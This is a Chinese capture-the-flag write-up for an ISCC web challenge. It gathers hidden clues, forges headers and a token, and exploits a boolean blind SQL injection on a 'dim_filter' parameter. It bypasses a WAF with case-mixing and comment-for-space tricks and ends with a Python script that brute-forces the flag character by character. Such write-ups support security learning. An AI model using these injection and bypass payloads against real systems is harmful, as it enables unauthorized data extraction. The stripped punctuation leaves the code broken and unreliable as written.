社团活动统计题目类型web收集信息路径/static/hint/tech_stack.txt页面重点标记了活动,管理,和数据统计即activityadminstat这里查看源代码发现ISCC{Campus_Stat_A_只有一半The target might be combined with previous clues把线索连起来得到这几个提示 提示暴力走不通观察通关这里没有直接的但也许可以从这里开始......也许这是中间的一步关键词也许这是一个终结也是新的开始。猜测这上面的是访问顺序以此我们可以猜出来是/admin/stat/activity需要我们有合规请求头user-agentreferertoken没线索了返回去看下robot.txt找到user-agent:Campus-Stat/1.0 Referer:campus-stat.example.com通过暴力猜测猜出/?page2获得token:X-Campus-Token: campus-ctf-2024-abc123条件齐全访问/admin/stat/activity发现注入点get和三个隐藏提示提示1、title该参数用做别名使用 提示2、藏在不可见元素中 提示3、Flag表存在flag表的value字段用/**/替代空格发现注入点是dim_filterflag线索waf绕过参数分析判断dim_filter是否为表达式?dim_filter11?dim_filter21?dim_filter32观察结果条件为真显示数字为10条件为假显示数字为0证实为表达式。可以盲注绕过waf实测发现空格敏感词不是过滤就是拦截 大小没限制union不可用可以用/**/替代空格实测发现 FROM UNION SELECT 等直接写会被拦截可以用大小写和注释代替空格绕过SeLeCt/**/value/**/FrOm/**/flag测试对的?dim_filtersubstr((SeLeCt/**/value/**/FrOm/**/flag),1,1)I为10测试错的?dim_filtersubstr((SeLeCt/**/value/**/FrOm/**/flag),1,1)X然后测出flag长度27flagISCC{Campus_Stat_A_7K!zYw}expimport requests import re import string # 目标地址与请求头 target_url http://39.105.213.28:8000/admin/stat/activity/ head_conf { User-Agent: Campus-Stat/1.0, Referer: https://campus-stat.example.com/, X-Campus-Token: campus-ctf-2024-abc123, } # 可爆破字符集 char_list string.ascii_letters string.digits !#$%^*()_-[]{}|;:,.?~ # 发送注入请求并判断结果 def check_inject(payload): param {dim_filter: payload} resp requests.get(target_url, headershead_conf, paramsparam, timeout8) match_obj re.findall(rdiv classcount(.?)/div, resp.text, re.S) if match_obj: return 10 in match_obj[0] return False # 第一步获取flag长度 flag_len 0 for num in range(1, 70): inject_exp flength((SeLeCt/**/value/**/FrOm/**/flag)){num} if check_inject(inject_exp): flag_len num print(f[*] 获取flag长度{flag_len}) break # 第二步逐字符爆破flag final_flag for idx in range(1, flag_len 1): for c in char_list: test_sql fsubstr((SeLeCt/**/value/**/FrOm/**/flag),{idx},1){c} if check_inject(test_sql): final_flag c print(f[*] 第{idx}位{final_flag}) break print(f\n[✅] 最终flag{final_flag})